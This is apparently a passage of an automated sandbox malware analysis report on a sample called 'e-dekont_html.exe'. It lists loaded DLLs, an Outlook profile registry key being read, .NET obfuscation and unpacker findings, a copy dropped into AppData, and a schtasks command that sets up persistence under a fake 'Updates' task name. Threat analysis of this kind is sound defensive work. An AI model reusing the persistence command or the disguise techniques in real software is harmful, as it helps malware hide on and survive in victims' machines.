Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: fastprox.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: ncobjapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: mpclient.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: version.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: msasn1.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: wmitomi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: mi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: rasman.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: secur32.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: schannel.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Section loaded: dpapi.dll
Source: C:\Users\user\Desktop\e-dekont_html.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32 Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Users\user\Desktop\e-dekont_html.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Jump to behavior
Source: e-dekont_html.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
Source: e-dekont_html.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: e-dekont_html.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Binary string: bbvK.pdbSHA256 source: e-dekont_html.exe, fahKSvwo.exe.0.dr
Source: Binary string: bbvK.pdb source: e-dekont_html.exe, fahKSvwo.exe.0.dr

Data Obfuscation
barindex
.NET source code contains potential unpacker
Source: 0.2.e-dekont_html.exe.3f03770.1.raw.unpack, HeTSatuh0uWI5PMcPt.cs .Net Code: VkBiqP4YpLfsTOKK1C5 System.Reflection.Assembly.Load(byte[])
Source: 0.2.e-dekont_html.exe.7740000.5.raw.unpack, HeTSatuh0uWI5PMcPt.cs .Net Code: VkBiqP4YpLfsTOKK1C5 System.Reflection.Assembly.Load(byte[])
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\e-dekont_html.exe Code function: 0_2_012BF228 push ebx; retn 0002h 0_2_012BF242
Source: C:\Users\user\Desktop\e-dekont_html.exe Code function: 0_2_012BF2BF push edi; retn 0002h 0_2_012BF2CA
Source: C:\Users\user\Desktop\e-dekont_html.exe Code function: 0_2_012BF2B0 push esi; retn 0002h 0_2_012BF2BA
Source: C:\Users\user\Desktop\e-dekont_html.exe Code function: 0_2_08F0EAB0 push ss; ret 0_2_08F0EABA
Source: C:\Users\user\Desktop\e-dekont_html.exe Code function: 0_2_08F0BA7F push eax; retf 0_2_08F0BAA5
Source: C:\Users\user\Desktop\e-dekont_html.exe Code function: 8_2_02BE9C30 push esp; retf 02C7h 8_2_02BE9D55
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Code function: 13_2_01599C30 push esp; retf 015Bh 13_2_01599D55
Source: e-dekont_html.exe Static PE information: section name: .text entropy: 7.952098121903517
Source: fahKSvwo.exe.0.dr Static PE information: section name: .text entropy: 7.952098121903517
Source: 0.2.e-dekont_html.exe.3f03770.1.raw.unpack, WwWQAaqqrVa5qkcNhnJ.cs High entropy of concatenated method names: 'aEoj4vB4IJ', 'tbpjzF9BZI', 'm4yfZ8ojyk', 'fP9f3wxYAm', 'y3GfIP9Pdc', 'DWWfgOjR96', 'RIRfcMcAio', 'n34fnOvjL7', 'HXefLwr00R', 'N13f0AJEjN'
Source: 0.2.e-dekont_html.exe.3f03770.1.raw.unpack, PeiRoUhVi14ZtfH37r.cs High entropy of concatenated method names: 'BirwYxR4D8', 'WgZwsYymM4', 'ToString', 'WrkwLrT3si', 'C55w0VtyhE', 'NacwRcRLcu', 'RYKw1NfMO2', 'r9AwNRcqdf', 'pEgwasgbX4', 'swqwW7Wi3l'
Source: 0.2.e-dekont_html.exe.3f03770.1.raw.unpack, T7geawTVduRubgjl6k.cs High entropy of concatenated method names: 'ToString', 'N2NOG0wHr7', 'LOmO5h582G', 'DuUOqyefj7', 'wjXOT2awq5', 'op7OVOxGbF', 'R5tOE9G6ju', 'qNkOdBl6WV', 'zjROk8pXXV', 'bUxOpW0eQg'
Source: 0.2.e-dekont_html.exe.3f03770.1.raw.unpack, Mx1CEBI3fhAT2luVA2.cs High entropy of concatenated method names: 'VhWhU39LZp', 'SZPhwVoH4F', 'w4QhhuSOi4', 'ouyhf0VOQf', 'ihUhQY1v87', 'V1fhHnPIh9', 'Dispose', 'fRj9LPGTwo', 'ePJ90Cbvy0', 'sFG9RkXdBd'
Source: 0.2.e-dekont_html.exe.3f03770.1.raw.unpack, gAT7eoJMygn6gjWsIx.cs High entropy of concatenated method names: 'aUo0C06IhH', 'N6R0J6ALlI', 'zVZ0tbc8Vc', 'rYD0S9p8Ti', 'gR90KplyIY', 'XS10x8J3uy', 'Gpk0oa0Dkc', 'FOb07Xngpj', 'aUs0iv8bjl', 'Bur04DrePt'
Source: 0.2.e-dekont_html.exe.3f03770.1.raw.unpack, HeTSatuh0uWI5PMcPt.cs High entropy of concatenated method names: 'Yh0gnuxnxb', 'DMJgLUJSvT', 'mhrg06qPKL', 'W8FgRPVdo1', 'jeKg1NpI80', 'oexgNeeEIY', 'wOsgaITM1u', 'tBEgWQYZsa', 'MOhg8f4SGa', 'Gr7gYmIXUp'
Source: 0.2.e-dekont_html.exe.3f03770.1.raw.unpack, cGA342shoG3dnMmo4W.cs High entropy of concatenated method names: 'fUOw78v1fh', 'RNHw46ghuh', 'wvd9ZomAx4', 'RXq93d8Z3R', 'YLnwGujPHR', 'Gf9wbAiHBb', 's7OwuAwIV8', 'Sw6wCn6Etw', 'QmpwJJnC73', 'gRhwtfNPSK'
Source: 0.2.e-dekont_html.exe.3f03770.1.raw.unpack, lovJ0czClo5OP1EZ5p.cs High entropy of concatenated method names: 'EvQjMENxho', 'NXMjrXYoR6', 'WcvjB7Mo8C', 'jUyjlfv20k', 'UZGj5hOnPC', 'BaojT1hka6', 'NutjVt2u5h', 'YGxjHcj8Nr', 'NdPjD7cDDf', 'matjyMws2t'
Source: 0.2.e-dekont_html.exe.3f03770.1.raw.unpack, tMpAMrZVOPEtwJuQTS.cs High entropy of concatenated method names: 'RymNntqYrb', 'zJtN0YWdsf', 'tB0N1IjBCV', 'PwPNa6ZKF4', 'CxmNWe8cvj', 'tRH1KPMfdV', 'pZm1x1MgL1', 'p4l1oDGHeM', 'W4417ff7FA', 'pZT1iG8Ejj'
Source: 0.2.e-dekont_html.exe.3f03770.1.raw.unpack, y2xvJk7MqDGjCSRLHi.cs High entropy of concatenated method names: 't973aZA8OM', 'WP83WJIG5m', 'nA13YsO076', 'ESU3s8TwAm', 'GPc3U3QTsk', 'l6t3OVWisM', 'j1oqxVG2dtRxF1TQY5', 'OPESoh54pRnUVMRmS5', 'kfN33KKK2G', 'gMF3gsyxxw'
Source: 0.2.e-dekont_html.exe.3f03770.1.raw.unpack, VbMlbdf1ymu5YPDwdh.cs High entropy of concatenated method names: 'BKfAM5Ilg', 'MYi6OFBF2', 'OYHMla2fb', 'xg3FEeNsq', 'lgIBXVH8y', 'BMFmk52Nl', 'LaVSSSpUpJxc5XEJyb', 'fGsfPoM0NpdrLOHYIK', 'd459hmf7r', 'LnKj5QRNo'
Source: 0.2.e-dekont_html.exe.3f03770.1.raw.unpack, nNUAPLSS6OVAMReiLp.cs High entropy of concatenated method names: 'nSGaDPOPmG', 'n2caypalRO', 'HfBaAaZxd1', 'PeIa6xtE7a', 'Qr3aPpmRJE', 'nQVaM75VCy', 'agIaFcaQ80', 'QW6ar8INMp', 'SeaaBk8JpB', 'mFSamxaHWi'
Source: 0.2.e-dekont_html.exe.3f03770.1.raw.unpack, qWBbWjHPNSm3x3ymNh.cs High entropy of concatenated method names: 'oiSR6kVV8l', 'rOPRMq5hBW', 'lMtRrE7Srf', 'PaERBVW4DW', 'FACRUq0pIv', 'QD9ROdqwFD', 'lbVRwFhUJG', 'f4xR9SYjSD', 'HWXRhAxHn6', 'tXORj0DbvO'
Source: 0.2.e-dekont_html.exe.3f03770.1.raw.unpack, OktkoHOIC8r5JCWFWx.cs High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'I6qIisSfio', 'CfXI4ZYj7P', 'lsaIzh6iWn', 'OGEgZqGbqB', 'NPGg3IQ8Yp', 'xXDgIkJQKy', 'weUggWJXBM', 'LtfdsT4bbJRtGbTDNe9'
Source: 0.2.e-dekont_html.exe.3f03770.1.raw.unpack, pu7Lw9pOUtJRgB67V4.cs High entropy of concatenated method names: 'YQvUXvU4Dc', 'bTBUbwPr7S', 'k0ZUCOd5f8', 'Pg9UJTjZPO', 'jY9U5k9GMG', 'fyLUqaZ7Xg', 'yNbUTXsSfK', 'XmdUVJa98e', 'gq8UE9w6IF', 'cXSUd5s6OI'
Source: 0.2.e-dekont_html.exe.3f03770.1.raw.unpack, Pe0SkjXKZwcNC8GV5H.cs High entropy of concatenated method names: 'uMZaLKWh9d', 'c8waRCi1df', 'GoGaNSDvbS', 'NakN46s9ti', 'kuQNzBUL1d', 'e4ZaZfSYa1', 'z0ua3br3H9', 'gP6aIwv9Nu', 'FS2agyaaEN', 'Y5oac3Z7n6'
Source: 0.2.e-dekont_html.exe.3f03770.1.raw.unpack, MuYu9FovasFrZDt22m.cs High entropy of concatenated method names: 'zfpjR5ToCM', 'WY4j134dMx', 'WVdjN1864o', 'HaljaMcg29', 'STEjhunQt3', 'bS6jWlAXYX', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.e-dekont_html.exe.3f03770.1.raw.unpack, EE0buaqyZiM121J1NhK.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'kZljGK2xJa', 'bsmjbxY9gY', 'dR9juYxrFg', 'WJpjCga0Lq', 'YFCjJgfLsV', 'wlBjtmnD2B', 'k1KjS6owbB'
Source: 0.2.e-dekont_html.exe.3f03770.1.raw.unpack, MkK5y6vwJZjs5JDWtI.cs High entropy of concatenated method names: 'wSn2rURJAE', 'pnR2BHKNVh', 'C462lj2EGM', 'RMY25YbEsp', 'L2O2TGf2NJ', 'MJR2Vvr9MC', 'JcA2dpcAU0', 'khm2kb5yuS', 'O5j2XZwHS9', 'Fpg2G8Hv8T'
Source: 0.2.e-dekont_html.exe.3f03770.1.raw.unpack, w6fVOnaEhaOjHBKUqm.cs High entropy of concatenated method names: 'vCJaORo2iZ7h9HgmlHY', 'wpYXgxo6VkkBLSHtGx4', 'yJkN939xYd', 'r4ZNhbYqF9', 'GAdNjfe4B8', 'GojxD1ogmuWO0gmFaJL', 'DUikTCoH1sOrluF5Aao'
Source: 0.2.e-dekont_html.exe.3f03770.1.raw.unpack, JLoSIhwA97O7XLgyC7.cs High entropy of concatenated method names: 'Dispose', 'u7s3ip9b0q', 'HIsI5qVWua', 'PQGvKUhrk2', 'drf34d0xPF', 'yBd3zNTJF5', 'ProcessDialogKey', 'ht9IZYc6hA', 'gZEI3SUHIm', 'hCxIIot7Hh'
Source: 0.2.e-dekont_html.exe.3f03770.1.raw.unpack, VtsXqUbvS3rdPxQGMo.cs High entropy of concatenated method names: 'LvKhl7BSXy', 'kNxh5VoL3m', 'RTIhqnLPI7', 'H13hT8gA18', 'xiQhVC0Zbg', 'IjfhEWJIcW', 'WbihdqoDdO', 'JUMhkMMNeB', 'U7fhpxcFKU', 'UPwhXQtc5f'
Source: 0.2.e-dekont_html.exe.3f03770.1.raw.unpack, dHRLn7q7YB03FnCZfRs.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'sQkvhllP1m', 'vBcvjUsDuw', 'adjvfcQVj6', 'rf9vv9X715', 'fXvvQu8DDh', 'xSyveUxkIQ', 'lgYvHNyPSK'
Source: 0.2.e-dekont_html.exe.7740000.5.raw.unpack, WwWQAaqqrVa5qkcNhnJ.cs High entropy of concatenated method names: 'aEoj4vB4IJ', 'tbpjzF9BZI', 'm4yfZ8ojyk', 'fP9f3wxYAm', 'y3GfIP9Pdc', 'DWWfgOjR96', 'RIRfcMcAio', 'n34fnOvjL7', 'HXefLwr00R', 'N13f0AJEjN'
Source: 0.2.e-dekont_html.exe.7740000.5.raw.unpack, PeiRoUhVi14ZtfH37r.cs High entropy of concatenated method names: 'BirwYxR4D8', 'WgZwsYymM4', 'ToString', 'WrkwLrT3si', 'C55w0VtyhE', 'NacwRcRLcu', 'RYKw1NfMO2', 'r9AwNRcqdf', 'pEgwasgbX4', 'swqwW7Wi3l'
Source: 0.2.e-dekont_html.exe.7740000.5.raw.unpack, T7geawTVduRubgjl6k.cs High entropy of concatenated method names: 'ToString', 'N2NOG0wHr7', 'LOmO5h582G', 'DuUOqyefj7', 'wjXOT2awq5', 'op7OVOxGbF', 'R5tOE9G6ju', 'qNkOdBl6WV', 'zjROk8pXXV', 'bUxOpW0eQg'
Source: 0.2.e-dekont_html.exe.7740000.5.raw.unpack, Mx1CEBI3fhAT2luVA2.cs High entropy of concatenated method names: 'VhWhU39LZp', 'SZPhwVoH4F', 'w4QhhuSOi4', 'ouyhf0VOQf', 'ihUhQY1v87', 'V1fhHnPIh9', 'Dispose', 'fRj9LPGTwo', 'ePJ90Cbvy0', 'sFG9RkXdBd'
Source: 0.2.e-dekont_html.exe.7740000.5.raw.unpack, gAT7eoJMygn6gjWsIx.cs High entropy of concatenated method names: 'aUo0C06IhH', 'N6R0J6ALlI', 'zVZ0tbc8Vc', 'rYD0S9p8Ti', 'gR90KplyIY', 'XS10x8J3uy', 'Gpk0oa0Dkc', 'FOb07Xngpj', 'aUs0iv8bjl', 'Bur04DrePt'
Source: 0.2.e-dekont_html.exe.7740000.5.raw.unpack, HeTSatuh0uWI5PMcPt.cs High entropy of concatenated method names: 'Yh0gnuxnxb', 'DMJgLUJSvT', 'mhrg06qPKL', 'W8FgRPVdo1', 'jeKg1NpI80', 'oexgNeeEIY', 'wOsgaITM1u', 'tBEgWQYZsa', 'MOhg8f4SGa', 'Gr7gYmIXUp'
Source: 0.2.e-dekont_html.exe.7740000.5.raw.unpack, cGA342shoG3dnMmo4W.cs High entropy of concatenated method names: 'fUOw78v1fh', 'RNHw46ghuh', 'wvd9ZomAx4', 'RXq93d8Z3R', 'YLnwGujPHR', 'Gf9wbAiHBb', 's7OwuAwIV8', 'Sw6wCn6Etw', 'QmpwJJnC73', 'gRhwtfNPSK'
Source: 0.2.e-dekont_html.exe.7740000.5.raw.unpack, lovJ0czClo5OP1EZ5p.cs High entropy of concatenated method names: 'EvQjMENxho', 'NXMjrXYoR6', 'WcvjB7Mo8C', 'jUyjlfv20k', 'UZGj5hOnPC', 'BaojT1hka6', 'NutjVt2u5h', 'YGxjHcj8Nr', 'NdPjD7cDDf', 'matjyMws2t'
Source: 0.2.e-dekont_html.exe.7740000.5.raw.unpack, tMpAMrZVOPEtwJuQTS.cs High entropy of concatenated method names: 'RymNntqYrb', 'zJtN0YWdsf', 'tB0N1IjBCV', 'PwPNa6ZKF4', 'CxmNWe8cvj', 'tRH1KPMfdV', 'pZm1x1MgL1', 'p4l1oDGHeM', 'W4417ff7FA', 'pZT1iG8Ejj'
Source: 0.2.e-dekont_html.exe.7740000.5.raw.unpack, y2xvJk7MqDGjCSRLHi.cs High entropy of concatenated method names: 't973aZA8OM', 'WP83WJIG5m', 'nA13YsO076', 'ESU3s8TwAm', 'GPc3U3QTsk', 'l6t3OVWisM', 'j1oqxVG2dtRxF1TQY5', 'OPESoh54pRnUVMRmS5', 'kfN33KKK2G', 'gMF3gsyxxw'
Source: 0.2.e-dekont_html.exe.7740000.5.raw.unpack, VbMlbdf1ymu5YPDwdh.cs High entropy of concatenated method names: 'BKfAM5Ilg', 'MYi6OFBF2', 'OYHMla2fb', 'xg3FEeNsq', 'lgIBXVH8y', 'BMFmk52Nl', 'LaVSSSpUpJxc5XEJyb', 'fGsfPoM0NpdrLOHYIK', 'd459hmf7r', 'LnKj5QRNo'
Source: 0.2.e-dekont_html.exe.7740000.5.raw.unpack, nNUAPLSS6OVAMReiLp.cs High entropy of concatenated method names: 'nSGaDPOPmG', 'n2caypalRO', 'HfBaAaZxd1', 'PeIa6xtE7a', 'Qr3aPpmRJE', 'nQVaM75VCy', 'agIaFcaQ80', 'QW6ar8INMp', 'SeaaBk8JpB', 'mFSamxaHWi'
Source: 0.2.e-dekont_html.exe.7740000.5.raw.unpack, qWBbWjHPNSm3x3ymNh.cs High entropy of concatenated method names: 'oiSR6kVV8l', 'rOPRMq5hBW', 'lMtRrE7Srf', 'PaERBVW4DW', 'FACRUq0pIv', 'QD9ROdqwFD', 'lbVRwFhUJG', 'f4xR9SYjSD', 'HWXRhAxHn6', 'tXORj0DbvO'
Source: 0.2.e-dekont_html.exe.7740000.5.raw.unpack, OktkoHOIC8r5JCWFWx.cs High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'I6qIisSfio', 'CfXI4ZYj7P', 'lsaIzh6iWn', 'OGEgZqGbqB', 'NPGg3IQ8Yp', 'xXDgIkJQKy', 'weUggWJXBM', 'LtfdsT4bbJRtGbTDNe9'
Source: 0.2.e-dekont_html.exe.7740000.5.raw.unpack, pu7Lw9pOUtJRgB67V4.cs High entropy of concatenated method names: 'YQvUXvU4Dc', 'bTBUbwPr7S', 'k0ZUCOd5f8', 'Pg9UJTjZPO', 'jY9U5k9GMG', 'fyLUqaZ7Xg', 'yNbUTXsSfK', 'XmdUVJa98e', 'gq8UE9w6IF', 'cXSUd5s6OI'
Source: 0.2.e-dekont_html.exe.7740000.5.raw.unpack, Pe0SkjXKZwcNC8GV5H.cs High entropy of concatenated method names: 'uMZaLKWh9d', 'c8waRCi1df', 'GoGaNSDvbS', 'NakN46s9ti', 'kuQNzBUL1d', 'e4ZaZfSYa1', 'z0ua3br3H9', 'gP6aIwv9Nu', 'FS2agyaaEN', 'Y5oac3Z7n6'
Source: 0.2.e-dekont_html.exe.7740000.5.raw.unpack, MuYu9FovasFrZDt22m.cs High entropy of concatenated method names: 'zfpjR5ToCM', 'WY4j134dMx', 'WVdjN1864o', 'HaljaMcg29', 'STEjhunQt3', 'bS6jWlAXYX', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.e-dekont_html.exe.7740000.5.raw.unpack, EE0buaqyZiM121J1NhK.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'kZljGK2xJa', 'bsmjbxY9gY', 'dR9juYxrFg', 'WJpjCga0Lq', 'YFCjJgfLsV', 'wlBjtmnD2B', 'k1KjS6owbB'
Source: 0.2.e-dekont_html.exe.7740000.5.raw.unpack, MkK5y6vwJZjs5JDWtI.cs High entropy of concatenated method names: 'wSn2rURJAE', 'pnR2BHKNVh', 'C462lj2EGM', 'RMY25YbEsp', 'L2O2TGf2NJ', 'MJR2Vvr9MC', 'JcA2dpcAU0', 'khm2kb5yuS', 'O5j2XZwHS9', 'Fpg2G8Hv8T'
Source: 0.2.e-dekont_html.exe.7740000.5.raw.unpack, w6fVOnaEhaOjHBKUqm.cs High entropy of concatenated method names: 'vCJaORo2iZ7h9HgmlHY', 'wpYXgxo6VkkBLSHtGx4', 'yJkN939xYd', 'r4ZNhbYqF9', 'GAdNjfe4B8', 'GojxD1ogmuWO0gmFaJL', 'DUikTCoH1sOrluF5Aao'
Source: 0.2.e-dekont_html.exe.7740000.5.raw.unpack, JLoSIhwA97O7XLgyC7.cs High entropy of concatenated method names: 'Dispose', 'u7s3ip9b0q', 'HIsI5qVWua', 'PQGvKUhrk2', 'drf34d0xPF', 'yBd3zNTJF5', 'ProcessDialogKey', 'ht9IZYc6hA', 'gZEI3SUHIm', 'hCxIIot7Hh'
Source: 0.2.e-dekont_html.exe.7740000.5.raw.unpack, VtsXqUbvS3rdPxQGMo.cs High entropy of concatenated method names: 'LvKhl7BSXy', 'kNxh5VoL3m', 'RTIhqnLPI7', 'H13hT8gA18', 'xiQhVC0Zbg', 'IjfhEWJIcW', 'WbihdqoDdO', 'JUMhkMMNeB', 'U7fhpxcFKU', 'UPwhXQtc5f'
Source: 0.2.e-dekont_html.exe.7740000.5.raw.unpack, dHRLn7q7YB03FnCZfRs.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'sQkvhllP1m', 'vBcvjUsDuw', 'adjvfcQVj6', 'rf9vv9X715', 'fXvvQu8DDh', 'xSyveUxkIQ', 'lgYvHNyPSK'
Drops PE files
Source: C:\Users\user\Desktop\e-dekont_html.exe File created: C:\Users\user\AppData\Roaming\fahKSvwo.exe Jump to dropped file

Boot Survival
barindex
Uses schtasks.exe or at.exe to add and modify task schedules
Source: C:\Users\user\Desktop\e-dekont_html.exe Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\fahKSvwo" /XML "C:\Users\user\AppData\Local\Temp\tmp7653.tmp"

Hooking and other Techniques for Hiding and Protection
barindex
Loading BitLocker PowerShell Module
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
